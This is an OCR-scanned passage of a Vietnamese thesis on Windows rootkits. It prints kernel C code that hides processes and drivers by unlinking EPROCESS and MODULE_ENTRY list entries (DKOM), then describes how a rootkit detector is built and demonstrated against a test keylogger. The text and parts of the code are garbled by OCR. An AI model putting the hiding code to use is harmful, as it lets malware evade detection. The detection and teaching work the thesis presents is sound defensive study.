NT 2000 XP SP2 2003
PID Offset 0x94 0x9C 0x84 0x84 0x84
FLINK Offset (dé 0x98 0xA0 0x88 0x88 0x88

duyét danh sach)

Tuy nhién viéc tim tién trinh thong qua PID khong ¢ y nghia 1am vi d6 chi 1a 1 gia tri ngdu
nhién tao ra dé dinh danh cho 1 tién trinh. Ta c6 thé tim tién trinh thong qua tén ciing nam
trong khdi EPROCESS

ULONG GetLocationOfProcessName()
{

ULONG ul_offset;
PEPROCESS CurrentProc = PsGetCurrentProcess();
for(ul_offset = 0; ul_offset < PAGE_SIZE; ul_offset++)
{
if( 'strncmp( "System”, (PCHAR) CurrentProc + ul_offset,
strlen(*"System™)))

return ul_offset;
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}

}
return (ULONG) 0;

Ham dich vu hé théng PsGetLocationOfProcess tra vé offset c6 chira khéi EPROCESS hién
tai. Sau d6 thuc hién tim kiém chudi, trong vi du trén la chudi “System”, va tra vé gia tri
offset ctia chudi d6. Mot cht ¥ quan trong 13 tén cua tién trinh khong phai 1a gia tri duy nhét.
Khi da tim duogc khdi EPROCESS cua tién trinh can én, can thuc hién:

e Thay d6i BLINK cua khéi phia truge khdi hién tai tro vao khéi phia sau khéi hién tai

e Thay ddi FLINK cuaa khdi phia sau khéi hién tai tro vao khéi phia trude khéi hién tai

e Thay d6i FLINK va BLINK cua khdi hién tai cho tré vao chinh né.

DWORD eproc = 0;

PLIST_ENTRY plist_active_procs;

// Tim khéi EPROCESS cén an.

eproc = FindProcessEPROC (PID_TO_HIDE);

if (eproc == 0x00000000)

return STATUS_INVALID_PARAMETER;

plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);

// Thay d6i FLINK va BLINK cta 2 phan tir ké tiép va lién sau

I/ khéi EPROCESS hién tai

*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
// Thay d6i FLINK va BLINK cua chinh né, ty tré vao né.
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
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EFROCESS

KPROCESS

LIST_ENTRY {

KPRCEB

* CurrentThread

* MextThread

* |dle Thread

ETHREAD

KTHREAD

ApcState

EFROCESS

KPROCESS

LIST_ENTRY {

Chuong 2

EFPROCESS

KPROCESS

LIST_ENTRY {

FLINK - FLIMK T *| FLINK
BLINK } == BLink } BLINK }

Hinh 2.37. An tién trinh bang DKOM

2.9.5. An trinh diéu khién bang DKOM

Hau hét cac rootkit dugc cai dat dudi dang trinh diéu khién thiét bi, do vay can phai an
khoi danh sach trinh diéu khién thiét bi. Windows cung cip trong bo Microsoft Resource Kit
cong cu drivers.exe li¢t ké toan b trinh diéu khién thiét bi trong hé théng, ngoai ra con nhiéu
cong cu cua cac hang tht 3 khac cling 1am cong viéc twong tu. Tuy vay, tit ca déu dung ham
kernel 1a  ZwQuerySystemInformation, khi truyén cho ham nay déi sb
SYSTEM_INFOMATION CLASS = 11 thi s& liét ké danh sach trinh diéu khién thiét bi da
dugc nap trong hé thong.
Pé co thé can thiép vao danh siach do cin biét dugc cdu trac cua ddi tuong
MODULE_ENTRY ma h¢ diéu hanh dung dé quan 1y trinh diéu khién thiét bi trong b nho:

// ' Undocumented Module Entry in kernel memory:
Il
typedef struct _ MODULE_ENTRY {
LIST_ENTRY module_list_entry;
DWORD unknown1[4];
DWORD base;
DWORD driver_start;
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DWORD unknownz2;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
...
} MODULE_ENTRY, *PMODULE_ENTRY,;
typedef struct  DRIVER_OBJECT {

short Type; /I Int2B

short Size; // Int2B

PVOID DeviceObject; // Ptr32 DEVICE_OBJECT
DWORD Flags; // Uint4B

PVOID DriverStart; // Ptr32 Void

DWORD DriverSize; // Uint4B

PVOID DriverSection;  // Ptr32 Void
PVOID DriverExtension; // Ptr32 DRIVER_EXTENSION
UNICODE_STRING DriverName; // _UNICODE_STRING
UNICODE_STRING HardwareDatabase; // Ptr32 _UNICODE_STRING
PVOID FastloDispatch;  // Ptr32 _FAST _I0_DISPATCH
PVOID Driverlnit; I/ Ptr32
PVOID DriverStartlo;  // Ptr32
PVOID DriverUnload,; I/ Ptr32
PVOID MajorFunction /1 [28] Ptr32

} DRIVER_OBJECT, *PDRIVER_OBJECT;

Trong dbi tugng DRIVER_OBJECT c¢6 con tré6 dén MODULE_ENTRY ¢ offset 0x14. Ham
tim ddi twong dudi day mo ta cach tim ddi tuong DriverObject:

DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
PMODULE_ENTRY pm_current;
if (DriverObject == NULL)
return 0;
/I offset 0x14 bén trong driver object.
pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14));
if (pm_current == NULL)
return 0;
gul_PsLoadedModuleList = pm_current;
return (DWORD) pm_current;

}

Khi da tim dugc MODULE ENTRY thi tuong ty nhu cac an tién trinh, chung ta s€ thyuc hi¢n
cac cong viéc sau:

e Thay ddi BLINK cua phan tir phia truéc tré vao phan tir phia sau phan tir hién tai
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e Thay ddi FLINK cuaa phan tir phia sau tré vao phan ti phia trudc phan tir hién tai
e Thay d6i FLINK va BLINK cua phan tir hién tai cho tré vao chinh no.

DRIVER_OBJECT

p_modEntry
MODULE_ENTRY » MODULE_ENTRY MODULE_ENTRY
LIST_ENTRY { LIST_ENTRY { LIST_ENTRY {
FLINK ] e FLNK 7Tt FLINK
BLINK } “wmmas  BLINK } BLINK }
continues... continues... continues. ..

Hinh 2.38. An trinh diéu khién bang DKOM

PMODULE_ENTRY pm_current;
UNICODE_STRING uni_hide_DriverName;
pm_current = gul_PsLoadedModuleList;
while (PMODULE_ENTRY)pm_current->le_mod.Flink!=gul_PsLoadedModuleL.ist)
{
if ((pm_current->unkl !'= 0x00000000) &&(pm_current->driver_Path.Length = 0)
{ // Tim entry diing trong list.

if (RtiCompareUnicodeString(&uni_hide_DriverName, &(pm_current-
>driver_Name),FALSE) == 0)

{ // thay thé flink va blink trd va chinh no
*((PDWORD)pm_current->le_mod.Blink)=(DWORD)pm_current-le_mod.Flink;
pm_current->le_mod.Flink->Blink = pm_current->le_mod.Blink;
break;
}

} // b6 qua phan tir hién tai.

pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;

}
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CHUONG 3 : XAY DUNG CHUONG TRINH PHAT HIEN ROOTKIT

3.1. CACPHUONG PHAP PHAT HIEN

Phuong phép phat hién rootkit n6i chung thuong la so sanh 2 trang thai trudc va sau cua
hé théng dé tim ra diém khéac biét, thuong cé cac kiéu so sanh sau:

e So sanh danh séach cac tép hé thdng hién tai vai mot hé thdng sach

e S0 sénh danh sach céc tép hién c6 vaoi NTFS Master File Table

e So sanh cac khoa registry véi mot mau sach

e S0 sanh danh séach tién trinh va dich vu sir dung nhiéu ham hé théng khéc nhau.

e So sanh danh séch tién trinh va dich vu bang k thuat chén tién trinh cua rootkit.

e Phat hién viéc sir dung ADS

e S0 sanh cac trang thai cua bang dich vu hé thng.

e Kiém tra cac phan tir trong bang goi dich vy hé théng c6 nam trong dai dia chi ciia cac

mo dun lién quan hay khong.

e Do tim theo chir ki cua rootkit trong vung nhé cua kernel.
Duéi day 1a mot s6 phuong phap hitu hiéu thudng duoc sir dung bdi cac chuong trinh anti-
rootkit:

3.1.1. Phat hién cac ham bi hook

Tat ca phan mém “séng” trong hé thong thi tit nhién s& nim ¢ mot ving nhé nao do.
Do vay dé phat hién rootkit ta c6 thé tim trong bd nhd.

K§ thuat phat hién nay c6 2 dang, th nhat 13 “bao vé tir ctra”, nghia 13 theo ddi toan
bd nhirng tién trinh, trinh diéu khién thiét bi ngay tur luc dugc nap vao trong by nhd. Mot
rootkit c6 thé sir dung nhiéu loai ham cua hé théng dé nap chung vao trong bo nhd. Béng viéc
theo ddi mot s ham dic biét thi co thé phéat hién ra rootkit. Néu nhu bo 15 mot ham nao d6
ma rootkit st dung thi phuong phdp nay khong thanh cong. Hang Pedestal software da dua ra
giai phap bao vé nguyén ven cua trinh diéu khién thiét bi(Integrity Protection Driver-IPD).
IPD s& hook céc ham trong SSDT nhu NtLoadDriver hay NtOpenSection dé theo ddi viéc nap
c4c trinh diéu khién thiét bi. Tuy vy, mot s6 ngudi nhu Hoglund & rootkit.com phét hién ra
cach dung ZwSetSystemInformation dé nap rootkit vao bd nhé cua kernel hay don gian 1a
cach tao ra mot lién két khac tré dén \DEVICEWPHYSICALMEMORY. Cac ham cua kernel
ma IPD hook:

e ZwOpenKey

o ZwCreateKey

e ZwSetValueKey

e ZwCreateFile

e ZwOpenFile

e ZwOpenSection

e ZwCreateLinkObject

o ZwSetSystemInformation
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e ZwOpenProcess

Tuy nhién, rootkit ngay cang phat trién nén danh sach céf: ham trén phai ngay cang dai ra. Do
khéng’hiéu qua nén hié‘n tai IPD da khong duoc phat trién, vi c6 kha nang nap mdt DLL vao
mot tién trinh nhu da dé cap ¢ muc 2.7.3.

Hai 13, Rootkit c6 thé duoc nap thong qua mot khoa cua registry, néu hook ham ZwOpenKey
hay ZereateKey van chua du, vi c6 thé rootkit~duqc ghj vao registry qua Wipdows scripting
host (Giong nhu cac loai virus autorun ldy nhiem qua 6 dia flash). Khi dé can theo doi céc
khoa trong Registry nhu:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services

Nhung rootkit c thé lai duoc cai dat vao trong
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services

Khoa trén sé dugc nap khi Windows khéi dong.

Bén canh viéc theo ddi hook cac ham hé théng va theo ddi doc ghi Registry dé tim ra DLL
dugc chén vao trong cac tién trinh, cac lién két tuong trung ciing 1a mot van dé quan trong,
néu rootkit tao mot lién két twong trung tré dén \DEVICE\\WPHYSICALMEMORY thi dong
thoi cling phai chén lién két do, viéc nay rat kho kiém soat.

Mit khéc, khi d4 phat hién ra DLL hodc trinh diéu khién thiét bi, phan mém phong chéng can
so sanh theo chir ki hodc phan tich hoat dong ctia mdé dun do dé xem co phai 1a rootkit hay
khong. Pé co chir ki can phén tich 1 rootkit cu thé, nhung néu loai rootkit chuwa biét thi ciing
khong thé phat hién duoc.

Mot cach khac trong viéc phat hién ra rootkit trong bd nhd dé 1a tim kiém ham hook trong
mot s6 bang cua hé thong nhu:

e Import Address Table (IAT)

e System Service Dispatch Table (SSDT — hoac con goi la KeServiceDescriptorTable)

e Interrupt Descriptor Table (IDT) trén méi CPU

e Chuong trinh con xir Iy g6i yéu cau vao/ra (Drivers' 1/0 Request Packet - IRP)

¢ Inline hook (k¥ thuat runtime patching)

Viéc tim kiém ham hook ¢4 nhugc diém 1a c6 thé bi rootkit da nap vao by nhé can tr¢ qua
trinh tim kiém, tuy vdy ta khong phai quét va tim theo chit ki hay miu nao ca.

e Giai thuat quét tim ra ham hook d6 14 tim tat ca cac nhanh ré& ra ngoai khoang chap
nhan dugc. Mdi nhanh duoc phét sinh tir ham call hay jmp. Khoang chap nhan duogc
c6 thé dugc xac dinh tir trong céc bang.

e Trong bang IAT, cac ham co tén, dia chi bit d¢au va kich thuéc. Dua trén nhitng con
s6 nay ta co thé xac dinh duoc khoang chap nhan dugc cua Iénh ré nhanh.

e Tuong tu cho trinh diéu khién thiét bi: T4t ca chuong trinh diéu khién géi yéu cau diéu
khién vao ra (IRPs) déu ton tai trong dia chi cua trinh diéu khién thiét bj do. Do vay
ma tat ca cac phan tir cua bang SSDT (System Service Dispatch Table) déu nam trong
dai dia chi cua tién trinh kernel: ntoskrnl.exe.

VU DUC LY - D1I0CQCNATO1 Trang 94



Do an tbt nghiép Pai Hoc Chuong 3

e Tim ham hook trong bang chi dan ngat (Interrupt Discriptor Table - IDT) c¢6 kho khin
hon mét chit, béi vi mdi chuong trinh con xir Iy ngat khong c6 cach nao dé biét duoc
khoang dia chi chdp nhan dugc. Ching ta chi quan tim dén ngat Int 2E (goi dich vu hé
thdng), n6 phai duoc tré dén kernel, ntoskrnl.exe.

e Phat hién Runtime patching 1a kh6 nhat, bai vi né ton tai & bat cir dau trong chinh ham
bi hook, va tir ham bi hook nay rootkit goi dén cac ham khéc trong bo nhé mét céch
binh thuong nhu mdt chuwong trinh dang chay.

Dé phat hién rootkit sir dung k¥ thuat hook bang SSDT, ta thuc hién 3 budc nhu luu do sau:

( Bat dau

Lay ra mot ban sao cua bang SSDT

Tim dia chi nen va kich thuoc modun cua kernel

e
Lap qua bang SSDT

e “~>‘

— —_— False
-“Kﬁ?n‘tra SSDT entry co nam ngoai dai NT kernel™>

l True

Tra ve ket qua

Ket thuc <

Luru do 3.1. Phat hién SSDT hook théng qua viéc lap bang SSDT

Phat hién Sysenter hook
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Luu d6 dudi ddy mo ta cach phat hién sysenter hook:

False

-ket qua khong tim duo-

thanh ghi M

i nen va kich thuoc modun ci

la gia tri thay the truc tiep cua tf

False

Chuong 3

True

1 tra lenh xem co la mot ji

True l
‘chi muc kernel co tro vao trong mot driv

True

| ten cua driver co la ten cua NT

True

‘ ket qua hook tim -

False

\
- tim thay ten driver ma sysent-

{ Ket thuc )

e

Luu d6 3.2. Phat hién Sysenter hook
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3.1.2. Phéat hién tién trinh an

Liét ké murc cao: brute force PID
Céch thirc liét ké céc tién trinh dang chay dugc thé hién trong luu d6 1 phia dudi

Bat dau

¥

Lap qua tatca PID co the

True
¥

Lay ra con tro toi EFROCESS

False

[True
L J
Hiem tra tien trinh con song hay khong Faise
lTI‘LIE
khong tim thay PID Bo them chieu toi EPROCESS
Lay ra PID

i

fra ve thong tin tien trink

)
7
-
A

ket thue

Luu d6 3.3. Liét ké cdc tién trinh dang chay sir dung PID brute force
Liét k& murc thap: cac ludng
Mot cach tiép can co thé duge dé liét ké cac luéng dang chay trong nglt canh cua mdot tién

trinh cu thé. Luu d6 2 dudi day thé hién cach thic dé liét ké cac tién trinh dang chay thong
qua cach tiép can nay.
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Bat dau

L3

Lap qua @t o3 TID caha

Trua

L]

L3y ra oan ira ol ETHREAD

Trus
1

Klam 13 U] £0n 50N My mang A

Tpue

knang Bm Thay TID

B0 tham chilsu

4

L5y ra TID oua khal ETHREAL

l

L3y ra PID cha fu ETHREAD

] -

54 5ann TIC va PID cha

l e

Tra wa ihang Bn we fian rinh oha

il ETHREALD

Luu d6 3.4. Liét ké cdc tién trinh dang chay sit dung TID brute force

(" wamuc
e

Liét ké mirc thap: sir dung cac bang Handle

Chuong 3

Mot cach dé co dugce danh sach cac tién trinh dang chay 1a st dung céc bang handle lién két
v6i chung. Trong Windows, mdi tién trinh duy tri mot bang luu c6 tham chiéu tdi tat ca cac
d6i twong ma tién trinh m¢ handle t6i. Mdi d6i twong bang handle Iuu PID cua tién trinh s¢
hiru n6 va con c¢6 mot truong ma tham chiéu t6i mot danh sach méc ndi ciia cac bang handle
khac. Luu d6 3 sé& thé hién cach thirc nay
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Bat dau

|

Lay ra tat ca cac handle ma

False

Lap qua mang thong tin cua cac handle

True
False
Lay ra con tro EPROCESS doi voi mot PID
True
_|_
False

Kiem tra xem tien trinh con song hay khong

l True "

Loc nhieu handle cho cung mot PID oo BRI

l

Tra ve thongtin tien trinh

= Ketthuc =
Lueu d6 3.5. Liét ké cdc tién trinh dang chay sir dung cdc bang handle

3.1.3. Phét hién trinh diéu khién an

Ba cach thirc ¢ thé duogc str dung dé liét ké cac trinh diéu khién d6 1a
e Thong qua viéc scan qua thu muc \Device\ trong Object Manager
e Thong qua viéc scan qua thu muc \Driver\ trong Object Manager
e Thong qua viéc scan qua PsLoadedModuleList

Luu d6 3.6 dudi day thé hién mot trong 3 phuong thiic nay
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False

Chuong 3

True

g NtOpenDirectory

g ZwOpenDirecto

False
False

QueryDirectoryObject de la

False

QueryDirectoryObject de la

True

a object tu ha

Iriver object tu device

JriverSection tu drive

e thong tind

-

»{ Ket thuc |
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Luru d6 3.6. Liét ké cdc trinh diéu khién thong qua viéc scan thu muc /Device/

3.1.4. Céc ung dung da phat trién dya trén k§ thuat trén

C6 cac nhém va td chirc bao mat cling phat trién kha nhiéu nhiing céng cu cho phép phat hién
Hook, runtime patching, IAT hook... Trong phan nay s& gi6i thiéu mot s cong cu kha hiéu
qua dé phat hién ra rootkit.

a/ Hook explorer:

T danh sach cac tién trinh dang chay, Hook explorer thyc hién tim cac DLL ma tién trinh d6
nap vao bo nhg, véi mdi mét DLL, Hook explorer s€ quét tat ca cac phén t trong bang IAT,
kiém tra 1énh d4u tién cta ham d6 xem tré dén DLL ndo.

Hooked Dllz for hh.exe

Proceszes Befresh

pid DIOCESE LIZET ||| _BaseAdr | MawAdr Hookz M arme kad
2720 alg.exe FCe0000n  YCared., 2 kermel22.dll
076 Cllexe ITEINGDOM-P... FrC10oon0 FYCES0.. 18 st dll
000 vAHOOM™.E<E ITEINGDOM-P.. F7DD0000 FYEEBO.. 7 ADrAPEE2 dI
544 wplorer?_|C.exe  ITKINGDOM-P... FFETOOOO  FYFOI000 8 RPCRTA4.dI
00 WINWORD.EXE ITEINGDOM-P... FrD40000 FYDDO.. 7 JSER32.I
2860 OUTLOOK.EXE ITEINGDOM-P... FFF10000  FYFEFO00 5 GDIEzdl
3592 hhexe ITEINGDOM-P... | EFS80000  EBFA4AD.. 9 AcGenral. DLL
3248 HookEwplorer.exe [ITEINGDOM-P... ] FEB40000  FEEEDO.. 10 Wl bR Il |
<) 3 (1L B
Functions [ Scan all exports 2 ("~ Standard (* Uszelgnore List O Hide Hooks within zame module © Show All entries
IAT &dd.. | " alue M ame 15t Instruction | HookProc | HookMod |
7DD 440 FCA02..  GetLastError MO Efx FS[..  ntdl.RtGetlaszt..  ChNWINDOWShspetern32hntdll. dll
Fr0DDE3C FCA118..  DeleteCrticalSection PUSH 1C ntdiLRtDeleteC...  CRWINDOWShapstem32hntdIl dil
FrDD1544 FCAI03..  SetlastEror mOY EDILEDI ool R AR R b S L
77001574 FCA104..  HeapFree PIISH A0 w View Entry =
Fr0DDB3C FCA105.. Heapilloc PUSH 204
77DD1530 7CI010.. EnterCricalSection  MOVECRFSL. | AT 7700144C
77001594 FCA010..  LeaweCritical5ection mOY ED#[ES... Mermd.dr |.'-"I:91IZ|331
Tstinst MOV E&XFS:[18]
ET | GetLastE ol
tdll. RHG etlastwind2E
Meszage Log lanoreList Reload HookProc  |n il
— —— - HookMod | C:vwINDOWwWS Asystem3Zintdl.dl
a8 hooks in SETUPAPI 411 (0x77320000) Exports S5q
1 hooks in appHelp.dll (0x77B40000) Exports Scanned: 50
14 hooks in MSVCRT1 411 (0x7C340000) Exports Scanned: 837
13 hooks in UEHook40._.d11 (0x4530000) Exports Scanned: &3 Rebased
= hooks in wdmeud. drv (0xTZD20000) Exports Scanned: 7T
3 hooks in midimep.d11 (0x77BDO0O0O) Exports Scanned: 3
a8 hooks in mshtmled _d11 (0x7e200000) Exports Scanned: 5 [
w

Hinh 3.1. Ung dung Hook Explorer
Uu diém: Phét hién ra duoc phan tir trong bang IAT tro dén DLL “la”
Nhuoc diém: Néu tién trinh nao bi an thi khong thé tim dugc cac DLL nap vao boi tién trinh
do va cac bang IAT lién quan.

b/ icesword-1.12
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Cong cu nay cho phép xem céc tién trinh hé théng, cic cong dang mé, cac md dun hoat dong

¢ kernel mode, céc dich vu dang chay, bang SSDT,...

1704E2 |

File Dump Plugin View Help

— X w3
Functionz
é ﬂ Index Current Addr | KMaodule Original A... | Name
[ ‘OxlE 0xB060CE4D  \WINDOWS\system32'ntkrnlpa.exe 0x8060CE40  MNiClearEvent
Port ‘019 0xB0SBAFBE  \WINDOWS\system32'ntkrnlpa.exe 0x305BAFGE MiClose
COMLA 0x805F3162 WINDOWS\system32hntkrnlpa.exe  0x805F3162 NiCloseObjectaud
g:" CO0xlE 0xB0621D32 \WINDOWS\system32'ntkrnlpa.exe 0x80621D32 MNtCompactKeys

o il 0xB805F7654 WINDOWS\system32vntkrnlpa.exe  0x805F7654  MNitCompareTokens
Enzl il ‘OnlD  OxBOSAITFC  \WINDOWS\systam32\ntkrnlpa.exe 0¥805A37FC  MNtCompletzConne
COxlE 0x80621F36 WYWINDOWS \system32'ntkrnlpa.exe  0xB0621F36  MNtCompressKey
@ COxLF 0xBOSAS0AE \WINDOWS\system32'ntkrnlpa.exe 0x805A30AE MNtConnectPort
‘0x20 0x8054419C \WINDOWS\system32\ntkrnlpa.exe 0x38054419C  NtContinue

Stastup y
Hinh 3.2. Ung dung icesword - 1.12
Uu diém: liét ké truc quan ra ndi dung cta bang SSDT v&i cd cac ham dich vu hé théng duoc
£01
Nhuoc diém: Str dung win API ZwQuerySystemInformation dé lay thong tin vé tién trinh, vé
mudun cua kernel, néu API nay bi hook san thi két qua tra vé 1a vd nghia.

¢/ RootkitRevealer

RootkitRevealer thyc hién cac cong viéc sau:
e S0 sanh list cac tép tin vai hé thng sach
e So sénh key trong registry
e Phat hién ra viéc su dung ADS

# RootkitRevealer - Sysinternals: www.sysinternals.com
File Options Help

Path i imestamp | Size | Description

ﬁ HELMMSECURITYWPoleysSecietsh SAC MA7/2006 3., Obyles  Key name contains embedded nulls [7)

ﬂ’ HELMMSECURITYWPolieyhS ecrets\S Al 1172005 3. Obytes  Keyp name containg embedded aulls (%)

ﬂ’ HELMASYSTEMAControlS st00NS ervices\MyDeviceDriver 8/3/2006 21... Obytes  Hidden from Windaws AP

ﬂ' HELMNSYSTEMAControlS st0044S ervices'\MyDeviceliver 1AM2/20061... Obytes  Hiddan from Windoves AP

E] CWProgram FilesiSymantec Antivirus\SavRTVIA38NAY ~ TMP 11.12/2006 1 Obytes  Hidden fromwWindows 4P

L CARootkitDirectory 10/2/2006 7:... Obytes  Hidden from Windaws AP

| C\WINDOWS \Prefelch\REGEDIT EXE-1BEDB4E2 pf MNAZ20061..  13979KB  Hidden from Windowes AP

a] CAWIMDOWS \Prefetch\REGED T32 EXE-11878ACD pf 1112/2006 1 B553KE  Hidden from \Windaows AP

« >

Scan complete; 8 discrepancies found.
i

“4

Hinh 3.3. Ung dung rootkitRevealer
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Uu diém: Phat hién ra cac Key null trong Registry, cic key an bang viéc so sanh voi hé théng
sach.

d/ Céac cong cu khéc:
RootKit Hook Analyzer: Phat hién hook dya trén WinAPI

Strider GhostBuster: So sanh danh sach file, so sanh danh sach cac key trong Registry, so
sanh danh sach cac tién trinh. Day 14 dyu 4n Research ciia Microsoft nhdam chdng lai rootkit
dang phat trién rat manh.

3.2.  XAY DUNG CHUONG TRINH PHAT HIEN ROOTKIT

3.2.1. Tong quan vé chuong trinh
Chuong trinh gdm cac thanh phén sau:
e ARKitLib.lib — mot thu vién Win32/C++ tinh cung cép cac phuong thirc dé scan hé
thdng va phat hién cac rootkits
e ARKItDrv.sys — mot trinh diéu khién thiét bi, ddy 1a thanh phan trién khai cac phuong
thire dé scan va phét hién cac rootkits

Céc tinh nang cua chuong trinh:

e Phat hién SSDT hook

e Phat hién Sysenter hook

o Liét k& tat ca cac trinh diéu khién (an va hién)
e Liét ké tat ca cac tién trinh (an va hién)

3.2.2. Mot sb hinh anh demo
KEYLOGGER

Hé théng thir nghiém dang bi nhiém mot keylogger luu lai tit ca cdc phim nhan vao tép tin
c:\keys.txt. Du¢i day la nhiing tinh nang cua keylogger

Ghi lai cdc phim bdm

Sau khi khaoi dong rootkit. M& notepad va gd vao mot vai dong chir

Untitled - Motepad

File Edit Format Wiew Help
THE ROOTKEIT]

Tam dimng rootkit. Kiém tra tép tin keys.txt trong 6 dia C.
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keys.txt - Motepad

File Edit Format ‘iew Help
the rootkit

An thu muc

Tao thw muc cé tén RookitDirectory trong 6 dia C.

Céu trac thu myc trude khi keylogger dugc nap

,,l ARKitTester_bak ,/l chapters ,/l Documents and Settings ,/l helloworld ,/l Program Files
,,l results ,/l RootkitDirectory ,/l simple ,/l testdry ,/l WinDDK

Nap keylogger va céu trac thu muc s& nhu sau

,,I ARKitTester_bak ,J chapters
,,l results ,/I simple

Documents and Settings helloworld Program Files

- - -
B - -

WinDDK. WINDOWS

An tién trinh
Pé kiém tra tinh ning an tién trinh, chay mot chuong trinh thir nghiém, HideMe.exe, trong
hai truong hop khi keylogger dang chay va khi khi keylogger khdng chay.

Trong truong hop rootkit khong chay, chuong trinh HideMe sé& tra vé thong bao “Could not
find MyDeviceDriver” va Windows Task Manager Processes tab sé& hién thi tién trinh
HideMe. Sau khi x4c minh tién trinh, nhan bt ctr phim nao trong cira so 1énh s& két thuc tién
trinh HideMe.

:»Hideme *HideMe .exe

ould not find MyDeviceDriver.
Prezz any k to terminate this
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5 YWindows Task Manager

File ©Options Wiew  Shut Down Help

Applications | Processes | Performance | Mebwarking | Users

Image Mame PID -
svchost, exe 3056

cmd. exe 2965

TPAULOC onneck, exe 2600

alg.exe 2324

wankfy exe 2176

TPAULo onnSye . exe 2084

reqedit, exe 2056

HideMe, exe

PGPtray . exe 1956

ctFmon. exe 1912

rundllzz. exe 1896 I
wmboolsd, exe 1584

mspaint. exe 15448

explorer. exe 1752

spoalsy, gxe 1645

nokepad, exe 144

sychosk, exe 1344

Laskmgr.exe 1304

surhnsk.eve 1240 b

[ ]5how processes From all users End Process

Khi keylogger chay trén hé thong, chuong trinh HideMe théng bao “MyDeviceDriver hiding
this process” va muc cac tién trinh cia Windows Task Manager s& khong hién thi tién trinh
HideMe.exe

:sHideme *HideMe .exe

ybevicelriver hiding this process (Bxf24).
to terminate this process...
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2 Windows Task Manager

File Options ‘Yiew Shut Down Help
applications | Processes |F‘erFu:urmanu:e " Metworking " Llsers]

Image Mame | PIC: |
svchiosk,exe 3056
crnd, exe 2968
TRAutDZonneck, exe 2600
alg.exe 2324
wscnkfy, exe 2176
TPAULDC onnSye. exe 2084
reqedit, exe 2056
PGPtray . exe 1956
ckfrnon.exe 1912
rundll3z . exe 1894
winkoolsd, exe 1334
mspaint.exe 1848
explorer.exe 1752
spoolsy, exe 1e48
notepad. exe 1454
svchost.exe 1344
sychost,exe 1240
svchiosk,exe 1176 .
swrhnst.eve 1N=7 g_‘l

[ ]5how processes From all users | Bl Bramess |

HideMe la mot chuong trinh nhan dinh danh tién trinh cua nd tir hé diéu hanh va gui toi
keylogger dang dugc dé cap.

CONG CU PHAT HIEN ROOTKIT

Quét hé thong
Trong giao dién chinh cia chwong trinh, nhan nut Quet he thong dé quét hé théng.

% Cong Cu Phat Hien Rootkit

et he thong
Dung GQuet
Danh sach drivers

Hoan Thanh

Mhan Ok de ket thue gquet.

X

Qua trinh quet thanh cong!
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Xem két qua
Nhan niat Danh sach hooks dé xem danh sach céc rootkits sir dung k¥ thuat hook
Cong Cu/Phat Hien Rootkit g@@

Guet He Thong Hem Ket Qua Thong tin he thong

Quet he thong Danh sach process 05 wersion: 5.1.2600.196608
05 platform: Win32ZMT
Dung Guet Canh sach hooks
Danh sach drivers 035 sp: Service Pack 3

Trang Thai: Hoan Thanh

Got 5 S50T hooks

STT| Ten driver | Ten harm bi hook | Dia chi harm bi hook
142 A WYIinDDKYE00. 16385, 1hsrc\ChapterD9Ghostuobjchk_wixp_x86%386Vhiding. sys| ZwQuerykey | D8xb2642420

21V ACWInDDRKABO0. 16385, Thsre\Chapte9Ghostobjchk_wxp_x86%386%hiding. sys| ZwQueryDirectoryFile | 08xb2642570
3VACWInDDRKAWB00. 16385, Thsre\Chapte9Ghostobjchk_wxp_x86%386%hiding. sys| ZwOpenkey | D8xb2642400

A2 WYinDDRWEDD. 16385, 1hsreAChapte)9Ghostobjchk_wip_xBB\386vhiding. sys| ZwhMapviewOfSection | 08xb2641180
S VACAWINDDRKABO0. 16385, Nhsrc\Chapted9Ghostwobjchk_wxp_x86\386Nhiding. sys| ZwEnumeratekey | 08xb2642510

Nhan nat Danh sach process dé hién thi cac tién trinh (hién va an)
. - D]

uet He Thong Hem Ket ua Thang tin he thong

Quet he thong Danh sach process 05 version 5.1.2600.198608
Dung Quet Danh sach hooks 05 platform: Win32NT
Danh sach drivers 05 sp Service Pack 3

PR

3 4h|

Trang Thai: Hoan Thanh

Got 36 processes

STT| Ten tien trinh PID

1] CAWINDOW Shay stem32WARKI Tester. exe | 3704

2| ChDocuments and
Settingsilyvd\Desktop\ProjectiSuDungDowordBackgroundvSuDungDowordBackgroundibinOebughSuDungDowordBackaround.vshost. exel

3625
3| CAMIND OWShsystermaZwhermiwmiprise. exe | 1424 ™ Commandli
i ) ez S oo e 1365 Fot”
A] CAWINDOWSE sy stem32iemd. exe | 2052 opyright
Bl CAWWINDOWShsystem32isvchost. exe | 2284 IC:“\Documents and Settings\lyvd>cd C:\Hideme
7| CAWINDOWShsy stem32vmspaint exe | 2204 - \Hideme SHideMe . exe
8] CAWINDOWEWlicrosoft. NETVF ramewearkved. 0. 303193 PFWWYPFFont Cache_w0400. exe (L T iceDriver hiding this process C(Bx8583.

Press any key to terminate this process...

Tién trinh HideMe v&i PID 1a 2128 (0x850) da duoc liét ké
Nhan nat Danh sach drivers dé hién thi cac trinh diéu khién (hién va an)
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& Cong Cu Phat Hien Rootkit

Quet he thong Danh sach process
Dung Quet Danh sach hooks

|
Danh sach drivers
Hoan Thanh

STT| Ten driver | Dia chi driver

1] \Drive f LD | 080

21 VS WYInDDKATEDD. 16385, 1hsrc\Chapte9Ghostobjchk_wxp_xBE\386\hiding. sys | 0Bxb2641000
3 WVINDOWShsystem32intkrnlpa.exe | 08xB04d7000

4 WYINDOWShsystem32vhal dil | 08x30640000

A WYINDOWWShsystem32WDCOM. DLL | 08 xf8b3a000

Bl WYINDOWShsystem32NBOOTVID. dil | 08xf3aaa000

7| ACPlLsys | 08 xf355h000

Bl WYINDOWShsystem3IADRIVERSWWYMILIE. SY S | 03 xf3b3c000
9l peisys | 08 xfas5a000

10| isapnp.sys | 05xf365 a000

1] compbatt.sys | O8xfBaae000

